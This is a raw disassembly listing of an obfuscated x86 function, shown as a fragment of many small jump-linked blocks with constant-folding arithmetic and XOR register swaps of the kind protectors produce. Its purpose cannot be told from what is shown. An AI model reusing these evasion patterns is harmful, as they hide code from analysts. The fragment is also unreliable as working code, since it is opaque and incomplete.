		xor	[esp+8+var_8], edi
		xor	edi, [esp+8+var_8]
		pop	esp
		mov	[esp+4+var_4], eax
		push	edi
		mov	edi, 3E0973h
		mov	eax, edi
		pop	edi
		push	ebx
		mov	ebx, 325C6DD7h
		neg	ebx
		not	ebx
		sub	ebx, 5DBC3BC3h
		jmp	loc_5991D1
; ---------------------------------------------------------------------------


loc_5909E4:				; CODE XREF: sub_57DD3A+20BD0j
		mov	eax, [esp+8+var_8]
		push	ecx
		jmp	loc_5A0E15
; ---------------------------------------------------------------------------


loc_5909ED:				; CODE XREF: sub_57DD3A+16973j
		push	eax
		mov	ah, 50h
		add	ah, 64h
		jmp	loc_599F1E
; ---------------------------------------------------------------------------


loc_5909F8:				; CODE XREF: sub_57DD3A+1D8E6j
		and	bh, al
		pop	eax
		push	dx
		jmp	loc_5A043F
; ---------------------------------------------------------------------------


loc_590A02:				; CODE XREF: sub_57DD3A+12D1Dj
		mov	ebp, 1D0D6A11h
		mov	ecx, ebp
		jmp	loc_5A0045
; ---------------------------------------------------------------------------


loc_590A0E:				; CODE XREF: sub_57DD3A+1B00Ej
		push	esp
		pop	ebx
		sub	esp, 4
		jmp	loc_58F667
; ---------------------------------------------------------------------------


loc_590A1B:				; CODE XREF: sub_57DD3A+2258Fj
		sub	esi, 67FA5B2Dh
		pop	ebx
		sub	esp, 4
		jmp	loc_595E00
; ---------------------------------------------------------------------------


loc_590A2D:				; CODE XREF: sub_57DD3A+1DA7Bj
		pop	esi
		jmp	loc_58E353
; ---------------------------------------------------------------------------


loc_590A33:				; CODE XREF: sub_57DD3A+1EB8Ej
		mov	eax, esi
		jmp	loc_599640
; ---------------------------------------------------------------------------


loc_590A3A:				; CODE XREF: sub_57DD3A+191C7j
		mov	esi, 59146D21h
		jmp	loc_596E4A
; ---------------------------------------------------------------------------


loc_590A44:				; CODE XREF: sub_57DD3A+15A29j
		pop	eax
		sub	esp, 4
		jmp	loc_596B48
; ---------------------------------------------------------------------------


loc_590A4D:				; CODE XREF: sub_57DD3A+13B2Dj
		push	[esp+0Eh+var_E]
		jmp	loc_5A2686
; ---------------------------------------------------------------------------


loc_590A55:				; CODE XREF: sub_57DD3A+1A3F9j
		push	ecx
		push	ebp
		jmp	loc_590A02
; ---------------------------------------------------------------------------


loc_590A5C:				; CODE XREF: sub_57DD3A+10DB2j
		push	esi
		mov	esi, edx
		mov	ebx, esi
		pop	esi
		jmp	loc_59E73A
; ---------------------------------------------------------------------------


loc_590A67:				; CODE XREF: sub_57DD3A+1EB48j
		pop	ebp
		jmp	loc_59B0C5
; ---------------------------------------------------------------------------


loc_590A6D:				; CODE XREF: sub_57DD3A+18A10j
		push	246F1A12h
		mov	esi, [esp+14h+var_16+2]
		add	esp, 4
		xor	esi, eax
		push	[esp+10h+var_12+2]
		pop	eax
		add	esp, 4
		push	eax
		mov	eax, esi
		jmp	loc_5980A5
; ---------------------------------------------------------------------------


loc_590A8C:				; CODE XREF: sub_57DD3A+20D3Aj
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp+14h+var_16+2]
		mov	esp, [esp+14h+var_16+2]
		add	ebx, 4
		jmp	loc_59CCAD
; ---------------------------------------------------------------------------


loc_590AA8:				; CODE XREF: sub_57DD3A+1B8A3j
		sub	eax, 3B8258BAh
		xor	eax, 0F72A4E75h
		sub	edx, eax
		pop	eax
		sub	edx, 593BCDAEh
		mov	edi, edx
		pop	edx
		add	edi, 0FFFFFFFFh
		push	esi
		push	edx
		mov	edx, 32F650F3h
		sub	edx, 0CA6D275Ch
		mov	esi, edx
		pop	edx
		jmp	loc_595B69
; ---------------------------------------------------------------------------


loc_590AD9:				; CODE XREF: sub_57DD3A+117DEj
		mov	ebx, 9D0EFB82h
		add	ebp, ebx
		mov	ebx, [esp+60h+var_60]
		jmp	loc_59448C
; ---------------------------------------------------------------------------


loc_590AE8:				; CODE XREF: sub_57DD3A+1CB2Bj
		not	al
		add	al, 1
		push	ecx
		push	7114h
		jmp	loc_5A202F
; ---------------------------------------------------------------------------


loc_590AF7:				; CODE XREF: sub_57DD3A+1DBCCj
		xchg	ebx, edx
		dec	ebx
		jmp	loc_5A2D8A
; ---------------------------------------------------------------------------


loc_590AFF:				; CODE XREF: sub_57DD3A+1CE21j
		add	esi, 4
		push	edx
		jmp	loc_59E99D
; ---------------------------------------------------------------------------
		mov	[esp+6Ch+var_6C], esi
		jmp	loc_5970C1
; ---------------------------------------------------------------------------


loc_590B13:				; CODE XREF: sub_57DD3A+12FFCj
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp+6Ch+var_6C]
		pop	esp
		inc	ecx
		jmp	loc_593929
; ---------------------------------------------------------------------------


loc_590B2B:				; CODE XREF: sub_57DD3A+1AC41j
		push	ebx
		mov	ebx, 14AD6510h
		add	[esp+6Ch+var_68], ebx
		pop	ebx
		pop	esi
		jmp	loc_597F88
; ---------------------------------------------------------------------------


loc_590B3C:				; CODE XREF: sub_57DD3A+220F5j
		mov	esi, [esp+64h+var_64]
		add	esp, 4
		xor	edi, [esp+60h+var_60]
		xor	[esp+60h+var_60], edi
		xor	edi, [esp+60h+var_60]
		pop	esp
		mov	[esp+5Ch+var_5C], esi
		jmp	loc_59DEEB
; ---------------------------------------------------------------------------


loc_590B57:				; CODE XREF: sub_57DD3A+240C0j
		add	edx, edi
		mov	edi, [esp+5Ch+var_5C]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		jmp	loc_5998C0
; ---------------------------------------------------------------------------


loc_590B70:				; CODE XREF: sub_57DD3A+2505Dj
		add	esp, 4
		jmp	loc_59A8CA
; ---------------------------------------------------------------------------


loc_590B78:				; CODE XREF: sub_57DD3A+1B742j
		sub	ecx, 7DD528C0h
		xor	ecx, 0DD0F3931h
		sub	ebp, ecx
		pop	ecx
		jmp	loc_59EFEC
; ---------------------------------------------------------------------------


loc_590B8C:				; CODE XREF: sub_57DD3A+1E750j
		mov	esp, [esp+58h+var_58]
		jmp	loc_58E353
; ---------------------------------------------------------------------------


loc_590B94:				; CODE XREF: sub_57DD3A+2097Aj
		pop	eax
		add	esi, 251628E4h
		pop	ebx
		push	edx
		mov	edx, 2
		sub	esi, 11E0207Bh
		add	esi, 97570Bh
		add	esi, edx
		push	eax
		mov	eax, 97570Bh
		sub	esi, eax
		pop	eax
		push	ecx
		mov	ecx, esp
		jmp	loc_5A24B8
; ---------------------------------------------------------------------------


loc_590BC1:				; CODE XREF: sub_57DD3A+1D349j
		mov	esi, 4
		jmp	loc_59E13E
; ---------------------------------------------------------------------------


loc_590BCB:				; CODE XREF: sub_57DD3A+17595j
		push	esi
		mov	esi, 26D008E1h
		jmp	loc_594F2F
; ---------------------------------------------------------------------------


loc_590BD6:				; CODE XREF: sub_57DD3A+212ADj
		add	al, cl
		pop	ecx
		add	al, cl
		sub	al, 0F1h
		pop	ecx
		sub	esp, 2
		jmp	loc_591EEE
; ---------------------------------------------------------------------------


loc_590BE9:				; CODE XREF: sub_57DD3A+163A6j
		add	edi, ebp
		jmp	loc_5A1B66
; ---------------------------------------------------------------------------


loc_590BF0:				; CODE XREF: sub_57DD3A+20983j
		add	esp, 4
		jmp	loc_5A1DFF
; ---------------------------------------------------------------------------


loc_590BFB:				; CODE XREF: sub_57DD3A+20890j
		mov	ebx, [esp+54h+var_54]
		jmp	loc_59922B
; ---------------------------------------------------------------------------


loc_590C03:				; CODE XREF: sub_57DD3A+14B2Ej
		sub	edi, 5FC264B1h
		pop	esi
		push	eax
		mov	eax, 31573569h
		not	eax
		add	eax, 13220588h
		sub	eax, 2CA2202Bh
		jmp	loc_59D82C
; ---------------------------------------------------------------------------


loc_590C21:				; CODE XREF: sub_57DD3A+1DD25j
		mov	edi, 69AD59F2h
		push	6BD9h
		mov	[esp+58h+var_58], edi
		jmp	loc_59B4C6
; ---------------------------------------------------------------------------


loc_590C33:				; CODE XREF: sub_57DD3A+1BFF9j
		mov	eax, 4C3F34E3h
		push	eax
		pop	ebp
		jmp	loc_59718B
; ---------------------------------------------------------------------------


loc_590C3F:				; CODE XREF: sub_57DD3A+223A6j
		push	eax
		mov	eax, 5EF10CCBh
		push	ecx
		mov	ecx, 7B854B67h
		xor	eax, ecx
		pop	ecx
		push	esi
		mov	esi, 6A85204Dh
		add	esi, 53DE0071h
		not	esi
		neg	esi
		not	esi
		xor	esi, 278BD4EAh
		add	eax, esi
		pop	esi
		shl	eax, 1
		xor	eax, 3B05CEF1h
		or	esi, eax
		pop	eax
		sub	esi, 0A9360630h
		mov	ebp, esi
		pop	esi
		jmp	loc_590C95
; ---------------------------------------------------------------------------


loc_590C81:				; CODE XREF: sub_57DD3A+1DE9Fj
		add	edi, 0FFFFFFFFh
		jmp	loc_594DFE
; ---------------------------------------------------------------------------


loc_590C89:				; CODE XREF: sub_57DD3A+20AC0j
		pop	ebp
		jmp	loc_5A1C48
; ---------------------------------------------------------------------------


loc_590C8F:				; CODE XREF: sub_57DD3A+108A5j
		push	ebx
		jmp	loc_59003F
; ---------------------------------------------------------------------------


loc_590C95:				; CODE XREF: sub_57DD3A+12F42j
		add	eax, ebp
		pop	ebp
		sub	esp, 4
		mov	[esp+54h+var_54], edi
		mov	edi, 357EF366h
		xor	eax, edi
		push	[esp+54h+var_54]
		mov	edi, [esp+58h+var_58]
		add	esp, 4
		push	20F0h
		mov	[esp+58h+var_58], ecx
		push	2F27h
		mov	[esp+5Ch+var_5C], esp
		add	[esp+5Ch+var_5C], 4
		jmp	loc_59657A
; ---------------------------------------------------------------------------


loc_590CCD:				; CODE XREF: sub_57DD3A+1B13Bj
		mov	edi, [esp+5Ch+var_5C]
		add	esp, 4
		xchg	ecx, [esp+58h+var_58]
		mov	esp, [esp+58h+var_58]
		push	72FDh
		jmp	loc_593BC7
; ---------------------------------------------------------------------------


loc_590CE6:				; CODE XREF: sub_57DD3A+21051j
		xor	[esp+5Ch+var_5C], ebp
		mov	ecx, [esp+5Ch+var_5C]
		jmp	loc_590EE0
; ---------------------------------------------------------------------------


loc_590CF1:				; CODE XREF: sub_57DD3A+1A661j
		push	[esp+5Ch+var_5C]
		pop	edi
		add	esp, 4
		push	esi
		push	[esp+5Ch+var_58]
		mov	esi, [esp+60h+var_60]
		add	esp, 4
		pop	[esp+5Ch+var_5C]
		pop	esp
		inc	[esp+54h+var_54]
		pushf
		jmp	loc_58E353
; ---------------------------------------------------------------------------


loc_590D13:				; CODE XREF: sub_57DD3A+15B74j
		sub	esi, 4
		xchg	esi, [esp+58h+var_58]
		pop	esp
		jmp	loc_5A1D7C
; ---------------------------------------------------------------------------


loc_590D22:				; CODE XREF: sub_57DD3A+142D3j
		jmp	loc_58E353
; ---------------------------------------------------------------------------


loc_590D27:				; CODE XREF: sub_57DD3A+229B5j
		add	esp, 4
		push	eax
		mov	eax, 43C2F7Ah
		add	ecx, eax
		mov	eax, [esp+54h+var_54]
		push	ebx
		jmp	loc_590B13
; ---------------------------------------------------------------------------


loc_590D3B:				; CODE XREF: sub_57DD3A+20F12j
		add	edx, edi
		jmp	loc_5917BB
; ---------------------------------------------------------------------------


loc_590D42:				; CODE XREF: sub_57DD3A+21E5Fj
		pop	ecx
		push	61F2h
		mov	[esp+58h+var_58], edi
		mov	edi, esp
		push	edx
		mov	edx, 3E5830DEh
		add	edx, 174E7065h
		shl	edx, 7
		shl	edx, 6
		add	edx, 2BD7A004h
		add	edi, edx
		pop	edx
		sub	edi, 4
		push	edi
		push	[esp+5Ch+var_58]
		pop	edi
		pop	[esp+5Ch+var_5C]
		pop	esp
		mov	[esp+54h+var_54], esi
		push	2
		push	[esp+58h+var_58]
		jmp	loc_58E7D4
; ---------------------------------------------------------------------------


loc_590D85:				; CODE XREF: sub_57DD3A+137DFj
		sub	dl, 2Ch
		sub	dl, 1Ch
		sub	dl, 0E7h
		xor	ch, dl
		pop	edx
		mov	bl, ch
		pop	ecx
		or	bl, 20h
		push	0BA7h
		mov	[esp+58h+var_58], edx
		jmp	loc_59D0F1
; ---------------------------------------------------------------------------


loc_590DA4:				; CODE XREF: sub_57DD3A+24385j
		not	[esp+58h+var_58]
		mov	edx, [esp+58h+var_58]
		jmp	loc_5978B8
; ---------------------------------------------------------------------------


loc_590DAF:				; CODE XREF: sub_57DD3A+1EDADj
		add	esp, 4
		add	edi, 0A7FA7F9Ch
		push	edi
		mov	edx, [esp+58h+var_58]
		add	esp, 4
		jmp	loc_59AC7B
; ---------------------------------------------------------------------------


loc_590DC7:				; CODE XREF: sub_57DD3A+1A01Bj
		push	33C3h
		jmp	loc_5A26A4
; ---------------------------------------------------------------------------


loc_590DD1:				; CODE XREF: sub_57DD3A+14F2Aj
		xor	esi, 3D0570C9h
		push	edx
		mov	edx, 168B0B06h
		shl	edx, 3
		add	edx, 4B4F2595h
		jmp	loc_5924A6
; ---------------------------------------------------------------------------


loc_590DEB:				; CODE XREF: sub_57DD3A+1D3A5j
		mov	[esp+5Ch+var_5C], ebp
		jmp	loc_59C551
; ---------------------------------------------------------------------------


loc_590DF3:				; CODE XREF: sub_57DD3A+16B2Dj
		push	edx
		mov	edx, 6CCD37EAh
		mov	ebx, 0C23C508Ch
		add	ebx, 762B0FD3h
		sub	ebx, edx
		sub	ebx, 762B0FD3h
		pop	edx
		or	ebx, 62F65BFEh
		add	ebx, 1
		sub	ebx, 6C2856A1h
		and	ebx, 7E3C7C8Ah
		jmp	loc_5A0F89
; ---------------------------------------------------------------------------


loc_590E2A:				; CODE XREF: sub_57DD3A+15812j
		pop	ecx
		pop	ebx
		sub	esi, 5F692D2Eh
		add	esi, ecx
		jmp	loc_59A4E1
; ---------------------------------------------------------------------------


loc_590E39:				; CODE XREF: sub_57DD3A+2404Dj
		push	ecx
		push	esp
		pop	ecx
		push	4261h
		mov	[esp+5Ch+var_5C], ebx
		mov	ebx, 54893AAFh
		sub	ebx, 132F207Ch
		push	4F8Fh
		mov	[esp+60h+var_60], esi
		mov	esi, 46693929h
		jmp	loc_59281D
; ---------------------------------------------------------------------------


loc_590E61:				; CODE XREF: sub_57DD3A+2183Dj
		sub	cl, al
		pop	eax
		xor	cl, 3Ah
		sub	al, 0D3h
		sub	al, 0CEh
		sub	al, cl
		add	al, 0CEh
		jmp	loc_59DA70
; ---------------------------------------------------------------------------


loc_590E74:				; CODE XREF: sub_57DD3A+1B712j
		sub	esp, 4
		mov	[esp+60h+var_60], edi
		mov	edi, 67D56BF1h
		jmp	loc_5A070B
; ---------------------------------------------------------------------------


loc_590E84:				; CODE XREF: sub_57DD3A+151DDj
		add	ebx, 11DA65B9h
		add	ebx, esi
		sub	ebx, 11DA65B9h
		jmp	loc_59269B
; ---------------------------------------------------------------------------


loc_590E97:				; CODE XREF: sub_57DD3A+1ABC3j
		push	[esp+60h+var_60]
		jmp	loc_59D6C9
; ---------------------------------------------------------------------------


loc_590E9F:				; CODE XREF: sub_57DD3A+16BA4j
		push	ebp
		push	ecx
		mov	ecx, 6CFB0B9Ah
		jmp	loc_5A29F7
; ---------------------------------------------------------------------------


loc_590EAB:				; CODE XREF: sub_57DD3A+1D9D7j
		mov	edx, 4
		jmp	loc_58FE2B
; ---------------------------------------------------------------------------


loc_590EB5:				; CODE XREF: sub_57DD3A+1FC2Bj
		add	[esp+6Ch+var_68], ebx
		mov	ebx, [esp+6Ch+var_6C]
		add	esp, 4
		jmp	loc_59A396
; ---------------------------------------------------------------------------


loc_590EC4:				; CODE XREF: sub_57DD3A+1D1E0j
		push	ecx
		jmp	loc_59BA17
; ---------------------------------------------------------------------------


loc_590ECA:				; CODE XREF: sub_57DD3A+142EBj
		push	[esp+6Ch+var_6C]
		pop	eax
		add	esp, 4
		push	ecx
		jmp	loc_59FB09
; ---------------------------------------------------------------------------


loc_590ED7:				; CODE XREF: sub_57DD3A+22F37j
		mov	dh, 26h
		neg	dh
		jmp	loc_591EB5
; ---------------------------------------------------------------------------


loc_590EE0:				; CODE XREF: sub_57DD3A+12FB2j
		add	esp, 4
		jmp	loc_597B63
; ---------------------------------------------------------------------------


loc_590EEB:				; CODE XREF: sub_57DD3A+19904j
		push	edi
		push	[esp+5Ch+var_58]
		pop	edi
		jmp	loc_5A1F2A
; ---------------------------------------------------------------------------


loc_590EF6:				; CODE XREF: sub_57DD3A+160CFj
		push	ecx
		mov	ecx, 56A46DAEh
		shr	ecx, 3
		add	ecx, 3AA97066h
		sub	ecx, 0FFEB5A93h
		add	esi, ecx
		mov	ecx, [esp+60h+var_60]
		add	esp, 4
		jmp	loc_5964DD
; ---------------------------------------------------------------------------


loc_590F1B:				; CODE XREF: sub_57DD3A+22C47j
		pop	esp
		mov	[esp+58h+var_58], edx
		mov	dh, 0EBh
		not	dh
		or	dh, 5Ah
		xor	dh, 9Bh
		shr	dh, 3
		jmp	loc_59F4E4
; ---------------------------------------------------------------------------


loc_590F31:				; CODE XREF: sub_57DD3A+231B9j
		add	esp, 4
		sub	esp, 4
		jmp	loc_5934ED
; ---------------------------------------------------------------------------


loc_590F42:				; CODE XREF: sub_57DD3A+1720Aj
		or	esi, 4755196Ah
		sub	esi, 0FFFFFFFFh
		push	eax
		jmp	loc_59E335
; ---------------------------------------------------------------------------


loc_590F54:				; CODE XREF: sub_57DD3A+1C8B0j
		xor	[esp+5Ch+var_5C], eax
		xor	eax, [esp+5Ch+var_5C]
		mov	esp, [esp+5Ch+var_5C]
		xor	ecx, [esp+5Ch+var_5C]
		xor	[esp+5Ch+var_5C], ecx
		xor	ecx, [esp+5Ch+var_5C]
		pop	esp
		jmp	loc_5A1988
; ---------------------------------------------------------------------------


loc_590F6C:				; CODE XREF: sub_57DD3A+1E77Ej
		jmp	loc_58E353
; ---------------------------------------------------------------------------


loc_590F71:				; CODE XREF: sub_57DD3A+1BC8Aj
		not	byte ptr [esp+58h+var_58+1]
		pop	eax
		push	ecx
		jmp	loc_5A1F7A
; ---------------------------------------------------------------------------
		mov	ax, word ptr [esp+58h+var_58]
		jmp	loc_5952FC
; ---------------------------------------------------------------------------


loc_590F85:				; CODE XREF: sub_57DD3A+1A986j
		xor	esi, 0E23B9906h
		jmp	loc_59FE15
; ---------------------------------------------------------------------------


loc_590F90:				; CODE XREF: sub_57DD3A+12795j
		and	[edi+1Ch], ebp
		mov	ebp, [esp+1Ah+var_1A]
		push	ebx
		mov	ebx, esp
		push	eax
		mov	eax, 75E6336h
		jmp	loc_59B49A
; ---------------------------------------------------------------------------


loc_590FA4:				; CODE XREF: sub_57DD3A+164A9j
		sub	eax, ebp
		pop	ebp
		pop	ebx
		sub	eax, 4C7C2BD3h
		jmp	loc_59AE7B
; ---------------------------------------------------------------------------


loc_590FB2:				; CODE XREF: sub_57DD3A+1742Ej
		mov	ebp, edx
		pop	edx
		push	edx
		jmp	loc_599F07
; ---------------------------------------------------------------------------
		mov	cx, word ptr [esp+1Ah+var_1A]
		jmp	loc_5A3143
; ---------------------------------------------------------------------------


loc_590FC4:				; CODE XREF: sub_57DD3A+1B95Fj
		mov	ebp, edx
		pop	edx
		xor	ebp, edx
		pop	edx
		push	edi
		mov	edi, 7A484A3Bh
		add	ecx, edi
		mov	edi, [esp+16h+var_16]
		jmp	loc_59E234
; ---------------------------------------------------------------------------
		mov	ax, word ptr [esp+16h+var_16]
		push	6B91h
		mov	[esp+1Ah+var_1A], edx
		mov	edx, esp
		add	edx, 4
		push	3008h
		mov	[esp+1Eh+var_1E], ebp
		push	2
		pop	ebp
		add	edx, ebp
		push	[esp+1Eh+var_1E]
		mov	ebp, [esp+22h+var_22]
		add	esp, 4
		sub	esp, 4
		mov	[esp+22h+var_22], ecx
		jmp	loc_58F434
; ---------------------------------------------------------------------------


loc_591018:				; CODE XREF: sub_57DD3A+21392j
		push	dword ptr [edi+eax*4]
		push	edx
		jmp	loc_59B152
; ---------------------------------------------------------------------------


loc_591021:				; CODE XREF: sub_57DD3A+1445Dj
		push	[esp+2Ah+var_26]
		pop	ecx
		jmp	loc_591CDD
; ---------------------------------------------------------------------------


loc_59102B:				; CODE XREF: sub_57DD3A+11EFFj
		xor	ecx, 3C575F5Dh
		shl	ecx, 4
		sub	ecx, 46063635h
		shr	ecx, 8
		add	ecx, 6539915Bh
		add	ebx, ecx
		jmp	loc_5A02BA
; ---------------------------------------------------------------------------


loc_59104A:				; CODE XREF: sub_57DD3A+1E020j
		shl	esi, 6
		xor	esi, 1B8B5B8Bh
		sub	esi, 564D73BAh
		inc	esi
		neg	esi
		add	esi, 9C4CC89Ch
		xor	edx, esi
		mov	esi, [esp+1Ch+var_1E+2]
		add	esp, 4
		jmp	loc_5A0A66
; ---------------------------------------------------------------------------
		mov	ax, word ptr [esp+18h+var_1A+2]
		push	edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_59CF80
; ---------------------------------------------------------------------------


loc_591081:				; CODE XREF: sub_57DD3A+2214Aj
		mov	edx, 1E8C6710h
		jmp	loc_59E721
; ---------------------------------------------------------------------------


loc_59108B:				; CODE XREF: sub_57DD3A+11D37j
		push	esi
		mov	esi, 1CB60622h
		sub	esi, 69965AD8h
		push	ebx
		mov	ebx, 79E32A26h
		xor	esi, ebx
		pop	ebx
		xor	esi, 0F218CB96h
		sub	[esp+1Ch+var_16+2], 50C05F8Fh
		add	[esp+1Ch+var_16+2], esi
		add	[esp+1Ch+var_16+2], 50C05F8Fh
		pop	esi
		add	[esp+18h+var_16+2], esi
		sub	esp, 4
		mov	[esp+1Ch+var_1E+2], esi
		mov	esi, 38E44AFAh
		sub	[esp+1Ch+var_16+2], esi
		pop	esi
		pop	esi
		mov	edx, [esp+14h+var_16+2]
		add	esp, 4
		jmp	loc_59151E
; ---------------------------------------------------------------------------


loc_5910DE:				; CODE XREF: sub_57DD3A+1E5DDj
		add	edi, 4
		xchg	edi, [esp+10h+var_12+2]
		jmp	loc_59ACA5
; ---------------------------------------------------------------------------


loc_5910EC:				; CODE XREF: sub_57DD3A+1FBF8j
		add	esp, 4
		push	27DBh
		mov	[esp+10h+var_12+2], ecx
		jmp	loc_58E8AB
; ---------------------------------------------------------------------------


loc_5910FF:				; CODE XREF: sub_57DD3A+11885j
		shr	esi, 7
		push	ebx
		mov	ebx, 0F18D597Dh
		sub	esi, ebx
		jmp	loc_59E54F
; ---------------------------------------------------------------------------


loc_59110F:				; CODE XREF: sub_57DD3A+1BE2Dj
		mov	[esp+74h+var_74], esi
		push	esp
		pop	esi
		jmp	loc_59E764
; ---------------------------------------------------------------------------


loc_591119:				; CODE XREF: sub_57DD3A+1B9D9j
		pop	esi
		sub	[esp+70h+var_68], 7388776Fh
		add	[esp+70h+var_68], edx
		add	[esp+70h+var_68], 7388776Fh
		pop	edx
		sub	[esp+6Ch+var_68], edx
		sub	[esp+6Ch+var_68], 7106274Eh
		mov	edx, [esp+6Ch+var_6C]
		jmp	loc_5A2DF1
; ---------------------------------------------------------------------------


loc_591143:				; CODE XREF: sub_57DD3A+16006j
		mov	[esp+6Ch+var_6C], ebp
		jmp	loc_5907A9
; ---------------------------------------------------------------------------


loc_59114B:				; CODE XREF: sub_57DD3A+140D2j
		mov	eax, [esp+6Ch+var_6C]
		add	esp, 4
		shr	ebp, 5
		or	ebp, 24025F54h
		add	ebp, 5F40383Bh
		sub	esp, 4
		mov	[esp+6Ch+var_6C], ebx
		jmp	loc_59E5B2
; ---------------------------------------------------------------------------


loc_59116E:				; CODE XREF: sub_57DD3A+20358j
		add	edi, ebp
		sub	edi, 48666262h
		pop	ebp
		add	edi, 4
		xchg	edi, [esp+68h+var_68]
		pop	esp
		pop	[esp+64h+var_64]
		mov	esp, [esp+60h+var_60]
		sub	esp, 4
		jmp	loc_5A06D1
; ---------------------------------------------------------------------------


loc_59118C:				; CODE XREF: sub_57DD3A+18B2Aj
		push	eax
		push	edi
		jmp	loc_59F968
; ---------------------------------------------------------------------------


loc_591193:				; CODE XREF: sub_57DD3A+17218j
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp+6Ch+var_6C]
		jmp	loc_59D4EB
; ---------------------------------------------------------------------------


loc_5911A5:				; CODE XREF: sub_57DD3A+233ACj
		sub	ah, 0B6h
		xor	bh, ah
		pop	eax
		not	bh
		jmp	loc_596574
; ---------------------------------------------------------------------------


loc_5911B2:				; CODE XREF: sub_57DD3A+10F87j
		add	edi, 71C4479Fh
		pop	ebx
		mov	eax, [esp+1Ah+var_1A]
		jmp	loc_59B088
; ---------------------------------------------------------------------------


loc_5911C1:				; CODE XREF: sub_57DD3A+166BFj
		pop	ebp
		add	ebp, esi
		pop	esi
		jmp	loc_597969
; ---------------------------------------------------------------------------


loc_5911CA:				; CODE XREF: sub_57DD3A+13D0Bj
		xor	eax, [esp+12h+var_12]
		xor	[esp+12h+var_12], eax
		xor	eax, [esp+12h+var_12]
		jmp	loc_59F0CB
; ---------------------------------------------------------------------------


loc_5911D8:				; CODE XREF: sub_57DD3A+112DEj
		mov	cx, word ptr [esp+40h+var_42+2]
		push	esi
		push	esp
		mov	esi, [esp+0]
		add	esp, 4
		push	ebx
		push	edi
		push	77210445h
		pop	edi
		jmp	loc_592B90
; ---------------------------------------------------------------------------


loc_5911F1:				; CODE XREF: sub_57DD3A+2125Cj
		xor	bh, al
		push	[esp+4Ch+var_4C]
		jmp	loc_58FC9A
; ---------------------------------------------------------------------------


loc_5911FB:				; CODE XREF: sub_57DD3A+207D1j
		xchg	eax, [esp+50h+var_50]
		pop	esp
		mov	[esp+4Ch+var_4C], eax
		jmp	loc_59AF18
; ---------------------------------------------------------------------------


loc_591207:				; CODE XREF: sub_57DD3A+2422Aj
		mov	ebp, esi
		pop	esi
		push	esi
		jmp	loc_592064
; ---------------------------------------------------------------------------


loc_591210:				; CODE XREF: sub_57DD3A+18A33j
		mov	[esp+4Ch+var_4C], ebx
		mov	ebx, 0EBE69ABh
		jmp	loc_58EFD5
; ---------------------------------------------------------------------------


loc_59121D:				; CODE XREF: sub_57DD3A+11E07j
		sub	ebp, ecx
		pop	ecx
		jmp	loc_593C92
; ---------------------------------------------------------------------------


loc_591225:				; CODE XREF: sub_57DD3A+148F2j
		pop	edi
		jmp	loc_58FF03
; ---------------------------------------------------------------------------


loc_59122B:				; CODE XREF: sub_57DD3A+12390j
		push	ebx
		jmp	loc_5A2382
; ---------------------------------------------------------------------------


loc_591231:				; CODE XREF: sub_57DD3A+157CAj
		sub	esp, 4
		mov	[esp+46h+var_46], ecx
		push	ebp
		push	ecx
		mov	ecx, 494C3C43h
		mov	ebp, ecx
		pop	ecx
		push	esi
		jmp	loc_5999FD
; ---------------------------------------------------------------------------


loc_591247:				; CODE XREF: sub_57DD3A+1D0EEj
		push	edi
		mov	edi, 66EF55B6h
		mov	edx, edi
		jmp	loc_59A764
; ---------------------------------------------------------------------------


loc_591254:				; CODE XREF: sub_57DD3A+1C422j
		cmp	dword ptr [edi+20h], 0
		jz	loc_5914AA
		push	4CDh
		mov	[esp+56h+var_58+2], ebx
		mov	ebx, 3D22033Bh
		jmp	loc_5A2D6F
; ---------------------------------------------------------------------------


loc_591270:				; CODE XREF: sub_57DD3A+14BB8j
		xor	edi, 4016290Bh
		add	eax, edi
		mov	edi, [esp+56h+var_58+2]
		add	esp, 4
		add	eax, 4
		xchg	eax, [esp+52h+var_54+2]
		jmp	loc_594148
; ---------------------------------------------------------------------------


loc_59128C:				; CODE XREF: sub_57DD3A+15DFAj
		shr	ebp, 1
		or	ebp, 5F24B36h
		sub	ebp, 73B37C33h
		dec	ebp
		xor	ebp, 97075158h
		add	ebx, ebp
		pop	ebp
		mov	edi, ebx
		jmp	loc_595E1B
; ---------------------------------------------------------------------------


loc_5912AB:				; CODE XREF: sub_57DD3A+2375Aj
		shl	edi, 8
		jmp	loc_59443F
; ---------------------------------------------------------------------------


loc_5912B3:				; CODE XREF: sub_57DD3A+1F730j
		add	ebx, 4
		xchg	ebx, [esp+4Eh+var_50+2]
		pop	esp
		add	esp, 4
		add	edx, 2
		xor	edx, [esp+46h+var_46]
		xor	[esp+46h+var_46], edx
		xor	edx, [esp+46h+var_46]
		mov	esp, [esp+46h+var_46]
		btr	word ptr [esp+46h+var_46], ax
		pushf
		jmp	loc_58E353
; ---------------------------------------------------------------------------


loc_5912DD:				; CODE XREF: sub_57DD3A+1B4B4j
		pop	ecx
		add	edi, esi
		jmp	loc_59D1BB
; ---------------------------------------------------------------------------


loc_5912E5:				; CODE XREF: sub_57DD3A+1A931j
		add	esp, 4
		push	ecx
		mov	ecx, 218E3242h
		add	ecx, 206E68A2h
		sub	ecx, 0FFFFFFFFh
		push	0
		sub	[esp+4Ah+var_4C+2], ecx
		jmp	loc_59F444
; ---------------------------------------------------------------------------


loc_59130A:				; CODE XREF: sub_57DD3A+17B9Ej
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp+4Ah+var_4C+2]
		pop	esp
		jmp	loc_596566
; ---------------------------------------------------------------------------


loc_591321:				; CODE XREF: sub_57DD3A+208B5j
		dec	ebx
		add	ebx, 0D5E461BFh
		jmp	loc_59682A
; ---------------------------------------------------------------------------


loc_59132D:				; CODE XREF: sub_57DD3A+23D2Cj
		mov	ebp, [esp+46h+var_46]
		add	esp, 4
		add	ecx, 2
		xor	ecx, [esp+42h+var_42]
		jmp	loc_59486C
; ---------------------------------------------------------------------------


loc_591344:				; CODE XREF: sub_57DD3A+174A3j
		xor	[esp+42h+var_42], ebx
		jmp	loc_58E353
; ---------------------------------------------------------------------------


loc_59134C:				; CODE XREF: sub_57DD3A+153C2j
		mov	bh, ch
		pop	ecx
		mov	cl, 0A9h
		xor	cl, bh
		mov	ebx, [esp+3Eh+var_3E]
		add	esp, 4
		xor	cl, 45h
		shl	cl, 8
		neg	cl
		add	cl, 0A0h
		jmp	loc_5A07F3
